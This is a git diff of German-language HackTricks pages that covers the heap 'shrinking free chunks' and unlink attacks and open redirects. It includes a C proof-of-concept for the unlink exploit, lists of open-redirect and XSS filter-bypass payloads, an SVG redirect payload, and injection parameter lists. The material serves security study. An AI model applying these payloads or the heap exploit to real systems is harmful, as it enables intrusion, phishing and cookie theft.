* 3 Speicherblöcke (a, b, c) werden nacheinander reserviert. Dann wird der mittlere Block freigegeben. Der erste enthält eine Off-by-One-Überlauf-Schwachstelle, die der Angreifer mit einem 0x00 ausnutzt (wenn das vorherige Byte 0x10 war, würde der mittlere Block anzeigen, dass er 0x10 kleiner ist als er tatsächlich ist).
|
||||
* Dann werden 2 kleinere Blöcke im mittleren freigegebenen Block (b) allokiert. Da `b + b->size` den c-Block nie aktualisiert, weil die adressierte Adresse kleiner ist als sie sein sollte. 
|
||||
* Dann werden b1 und c freigegeben. Da `c - c->prev_size` immer noch auf b zeigt (jetzt b1), werden beide in einem Block konsolidiert. B2 befindet sich jedoch immer noch zwischen b1 und c.
|
||||
* Schließlich wird ein neuer malloc durchgeführt, um diesen Speicherbereich zurückzugewinnen, der tatsächlich b2 enthalten wird, wodurch der Besitzer des neuen malloc den Inhalt von b2 steuern kann.
|
||||
|
||||
Dieses Bild erklärt den Angriff perfekt:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
137
binary-exploitation/heap/unlink-attack.md
Normal file
137
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,137 @@
|
|||
# Unlink-Angriff
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Als dieser Angriff entdeckt wurde, ermöglichte er hauptsächlich ein WWW (Write What Where), jedoch wurden einige **Überprüfungen hinzugefügt**, was die neue Version des Angriffs interessanter, komplexer und **nutzloser** macht.
|
||||
|
||||
### Codebeispiel:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### Ziel
|
||||
|
||||
* Ändern Sie einen Zeiger auf einen Chunk im Stack, sodass er auf den Stack zeigt, um den Inhalt des Stacks zu ändern, indem Sie in den Chunk schreiben
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Einige Kontrolle über einen Speicher (z. B. Stack), um ein paar Chunks zu erstellen und einigen der Attribute Werte zuzuweisen.
|
||||
* Stack-Leak, um die Zeiger des gefälschten Chunks festzulegen.
|
||||
|
||||
### Angriff
|
||||
|
||||
* Es gibt ein paar Chunks (Chunk1 und Chunk2)
|
||||
* Der Angreifer kontrolliert den Inhalt von Chunk1 und die Header von Chunk2.
|
||||
* Im Chunk1 erstellt der Angreifer die Struktur eines gefälschten Chunks:
|
||||
* Um Schutzmechanismen zu umgehen, stellt er sicher, dass das Feld `size` korrekt ist, um den Fehler zu vermeiden: `corrupted size vs. prev_size while consolidating`
|
||||
* und die Felder `fd` und `bk` des gefälschten Chunks zeigen auf die Stelle, an der der Chunk1-Zeiger mit Offsets von -3 bzw. -2 gespeichert ist, sodass `fake_chunk->fd->bk` und `fake_chunk->bk->fd` auf die Position im Speicher (Stack) zeigen, an der sich die Adresse des echten Chunk1 befindet:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Die Header des Chunk2 werden geändert, um anzuzeigen, dass der vorherige Chunk nicht verwendet wird und dass die Größe der Größe des enthaltenen gefälschten Chunks entspricht.
|
||||
* Wenn der zweite Chunk freigegeben wird, wird dieser gefälschte Chunk entkoppelt:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Zuvor wurde sichergestellt, dass `fake_chunk->fd->bk` und `fake_chunk->fd->bk` auf dieselbe Stelle zeigen (die Stelle im Stack, an der `Chunk1` gespeichert war, sodass es eine gültige verkettete Liste war). Da **beide auf dieselbe Stelle zeigen**, wird nur der letzte (`fake_chunk->bk->fd = fake_chunk->fd`) **effektiv**.
|
||||
* Dies wird dazu führen, dass der Zeiger auf Chunk1 im Stack mit der Adresse (oder Bytes) überschrieben wird, die sich 3 Adressen vorher im Stack befinden.
|
||||
* Daher kann ein Angreifer, wenn er erneut den Inhalt des Chunk1 kontrollieren könnte, in der Lage sein, **im Stack zu schreiben**, indem er potenziell die Rückkehradresse überschreibt, den Canary überspringt und die Werte und Zeiger von lokalen Variablen ändert. Selbst wenn er erneut die Adresse von Chunk1 im Stack an eine andere Stelle ändert, an der der Angreifer erneut den Inhalt von Chunk1 kontrollieren könnte, könnte er überall schreiben.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
|
@ -1,27 +1,28 @@
|
|||
# Offene Weiterleitung
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Offene Weiterleitung
|
||||
|
||||
# Offene Weiterleitung
|
||||
|
||||
## Weiterleitung zu localhost oder beliebigen Domains
|
||||
### Weiterleitung zu localhost oder beliebigen Domains
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Offene Weiterleitung zu XSS
|
||||
### Offene Weiterleitung zu XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +30,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,17 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# Offene Weiterleitung beim Hochladen von SVG-Dateien
|
||||
|
||||
Ein Open Redirect ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, einen Benutzer von einer vertrauenswürdigen Website auf eine bösartige Website umzuleiten. Diese Schwachstelle tritt häufig auf, wenn eine Anwendung Benutzereingaben nicht ausreichend überprüft und validiert.
|
||||
|
||||
Beim Hochladen von SVG-Dateien besteht die Möglichkeit, dass ein Angreifer eine Open-Redirect-Schwachstelle ausnutzt. Dies geschieht, indem der Angreifer eine SVG-Datei mit einem speziell konstruierten Link hochlädt, der auf eine bösartige Website verweist.
|
||||
|
||||
Um diese Schwachstelle zu beheben, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, insbesondere beim Hochladen von Dateien. Es ist wichtig, alle eingehenden Links zu überprüfen und sicherzustellen, dass sie nur auf vertrauenswürdige interne Seiten verweisen.
|
||||
|
||||
Darüber hinaus sollten Sicherheitsmechanismen wie Content Security Policy (CSP) implementiert werden, um das Risiko von Open-Redirect-Angriffen weiter zu verringern. CSP ermöglicht es Entwicklern, festzulegen, von welchen Quellen Ressourcen geladen werden dürfen, und kann so das Risiko von Weiterleitungen auf bösartige Websites reduzieren.
|
||||
|
||||
Es ist wichtig, dass Entwickler sich der potenziellen Risiken von Open-Redirect-Schwachstellen bewusst sind und entsprechende Sicherheitsmaßnahmen ergreifen, um ihre Anwendungen zu schützen.
|
||||
## Offene Weiterleitung beim Hochladen von SVG-Dateien
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -84,17 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# Häufige Injektionsparameter
|
||||
|
||||
In Webanwendungen gibt es bestimmte Parameter, die oft von Angreifern ausgenutzt werden, um Injektionsangriffe durchzuführen. Hier sind einige der häufigsten Injektionsparameter:
|
||||
|
||||
- **URL-Parameter**: Dies sind die Parameter, die in der URL einer Webseite enthalten sind. Angreifer können versuchen, schädlichen Code in diese Parameter einzufügen, um die Anwendung zu kompromittieren.
|
||||
- **Formularparameter**: Wenn eine Webseite ein Formular enthält, können Angreifer versuchen, schädlichen Code in die Formularfelder einzufügen, um die Anwendung zu manipulieren.
|
||||
- **Cookie-Parameter**: Cookies werden verwendet, um Informationen über den Benutzer zu speichern. Angreifer können versuchen, schädlichen Code in die Cookie-Parameter einzufügen, um die Anwendung zu beeinflussen.
|
||||
- **Header-Parameter**: Header-Parameter enthalten Informationen über die Anfrage oder die Antwort. Angreifer können versuchen, schädlichen Code in diese Parameter einzufügen, um die Anwendung zu kompromittieren.
|
||||
- **Datenbankparameter**: Wenn eine Anwendung eine Datenbank verwendet, können Angreifer versuchen, schädlichen Code in die Datenbankparameter einzufügen, um auf vertrauliche Informationen zuzugreifen oder die Datenbank zu manipulieren.
|
||||
|
||||
Es ist wichtig, diese häufigen Injektionsparameter zu kennen und geeignete Sicherheitsmaßnahmen zu ergreifen, um Injektionsangriffe zu verhindern.
|
||||
## Häufige Injektionsparameter
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -169,135 +153,17 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
```csharp
|
||||
using System;
|
||||
using System.Web;
|
||||
## Code Beispiele
|
||||
|
||||
namespace OpenRedirect
|
||||
{
|
||||
public partial class Redirect : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
string redirectUrl = Request.QueryString["url"];
|
||||
if (!string.IsNullOrEmpty(redirectUrl))
|
||||
{
|
||||
Response.Redirect(redirectUrl);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Java
|
||||
|
||||
```java
|
||||
import java.io.IOException;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
public class RedirectServlet extends HttpServlet {
|
||||
protected void doGet(HttpServletRequest request, HttpServletResponse response)
|
||||
throws ServletException, IOException {
|
||||
String redirectUrl = request.getParameter("url");
|
||||
if (redirectUrl != null && !redirectUrl.isEmpty()) {
|
||||
response.sendRedirect(redirectUrl);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### PHP
|
||||
|
||||
```php
|
||||
<?php
|
||||
if (isset($_GET['url'])) {
|
||||
$redirectUrl = $_GET['url'];
|
||||
header("Location: $redirectUrl");
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
### Python
|
||||
|
||||
```python
|
||||
from flask import Flask, redirect, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route('/redirect')
|
||||
def redirect_url():
|
||||
redirect_url = request.args.get('url')
|
||||
if redirect_url:
|
||||
return redirect(redirect_url)
|
||||
else:
|
||||
return 'No redirect URL provided.'
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run()
|
||||
```
|
||||
|
||||
### Ruby
|
||||
|
||||
```ruby
|
||||
require 'sinatra'
|
||||
|
||||
get '/redirect' do
|
||||
redirect_url = params[:url]
|
||||
if redirect_url
|
||||
redirect redirect_url
|
||||
else
|
||||
'No redirect URL provided.'
|
||||
end
|
||||
end
|
||||
```
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### Java
|
||||
|
||||
Java ist eine objektorientierte Programmiersprache, die weit verbreitet ist und für die Entwicklung von plattformunabhängigen Anwendungen verwendet wird. Sie wurde von Sun Microsystems entwickelt und später von Oracle übernommen. Java-Code wird in Bytecode kompiliert, der von der Java Virtual Machine (JVM) ausgeführt wird. Dies ermöglicht es, Java-Anwendungen auf verschiedenen Betriebssystemen auszuführen, ohne den Code neu zu schreiben.
|
||||
|
||||
Java bietet eine Vielzahl von Funktionen und Bibliotheken, die die Entwicklung von robusten und sicheren Anwendungen erleichtern. Es unterstützt auch die Verwendung von Threads, um parallele und nebenläufige Programmierung zu ermöglichen. Java-Anwendungen können in verschiedenen Bereichen eingesetzt werden, wie z.B. Webentwicklung, mobile Anwendungen, Big Data und maschinelles Lernen.
|
||||
|
||||
Die Sicherheit von Java-Anwendungen ist ein wichtiger Aspekt, da sie anfällig für verschiedene Arten von Angriffen sein können. Es ist wichtig, bewährte Sicherheitspraktiken zu befolgen, um potenzielle Schwachstellen zu vermeiden. Dazu gehören das Vermeiden von unsicherem Code, das Aktualisieren von Bibliotheken und Frameworks, das Implementieren von Zugriffskontrollen und das Durchführen von Penetrationstests, um potenzielle Schwachstellen zu identifizieren und zu beheben.
|
||||
#### Java
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
#### Offene Weiterleitung (Open Redirect)
|
||||
|
||||
Eine offene Weiterleitung tritt auf, wenn eine Webanwendung den Benutzer auf eine andere Seite weiterleitet, ohne die Ziel-URL ordnungsgemäß zu validieren. Dies kann von Angreifern ausgenutzt werden, um Benutzer auf bösartige Websites umzuleiten und Phishing-Angriffe durchzuführen.
|
||||
|
||||
#### Ausnutzung einer offenen Weiterleitung
|
||||
|
||||
Um eine offene Weiterleitung auszunutzen, muss der Angreifer die URL der Webanwendung manipulieren, um eine bösartige Ziel-URL einzufügen. Dies kann durch Hinzufügen von Parametern zur URL oder durch Ändern des Werts eines vorhandenen Parameters erfolgen.
|
||||
|
||||
Beispiel:
|
||||
|
||||
```
|
||||
https://example.com/redirect.php?url=https://malicious-website.com
|
||||
```
|
||||
|
||||
In diesem Beispiel wird der Parameter `url` verwendet, um die Ziel-URL anzugeben. Der Angreifer kann den Wert dieses Parameters ändern, um eine bösartige Website einzufügen.
|
||||
|
||||
#### Auswirkungen einer offenen Weiterleitung
|
||||
|
||||
Die Auswirkungen einer offenen Weiterleitung können je nach Art des Angriffs variieren. Ein Angreifer kann die offene Weiterleitung nutzen, um Benutzer auf Phishing-Websites umzuleiten, auf denen sie vertrauliche Informationen wie Benutzernamen, Passwörter oder Kreditkartendaten preisgeben können. Darüber hinaus kann ein Angreifer die offene Weiterleitung verwenden, um bösartigen Code einzufügen und die Kontrolle über das System des Benutzers zu übernehmen.
|
||||
|
||||
#### Schutzmaßnahmen
|
||||
|
||||
Um offene Weiterleitungen zu verhindern, sollten Webanwendungen die Ziel-URL ordnungsgemäß validieren und nur auf vertrauenswürdige Websites weiterleiten. Es ist wichtig, Eingaben von Benutzern zu überprüfen und sicherzustellen, dass sie den erwarteten Format- und Inhaltseinschränkungen entsprechen.
|
||||
|
||||
Darüber hinaus sollten Entwickler Whitelists verwenden, um die erlaubten Weiterleitungsziele einzuschränken und Blacklists zu vermeiden, da diese weniger effektiv sind und leicht umgangen werden können.
|
||||
|
||||
#### Zusammenfassung
|
||||
|
||||
Offene Weiterleitungen sind eine Sicherheitslücke, bei der eine Webanwendung den Benutzer auf eine andere Seite weiterleitet, ohne die Ziel-URL ordnungsgemäß zu validieren. Angreifer können diese Schwachstelle ausnutzen, um Benutzer auf bösartige Websites umzuleiten und Phishing-Angriffe durchzuführen. Webanwendungen sollten die Ziel-URL ordnungsgemäß validieren und nur auf vertrauenswürdige Websites weiterleiten, um offene Weiterleitungen zu verhindern.
|
||||
#### PHP
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -305,28 +171,27 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# Werkzeuge
|
||||
## Werkzeuge
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# Ressourcen
|
||||
## Ressourcen
|
||||
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) finden Sie Fuzzing-Listen.
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) findest du Fuzzing-Listen.\\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lerne AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* Wenn du deine **Firma in HackTricks beworben sehen möchtest** oder **HackTricks als PDF herunterladen möchtest**, überprüfe die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Hol dir das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile deine Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue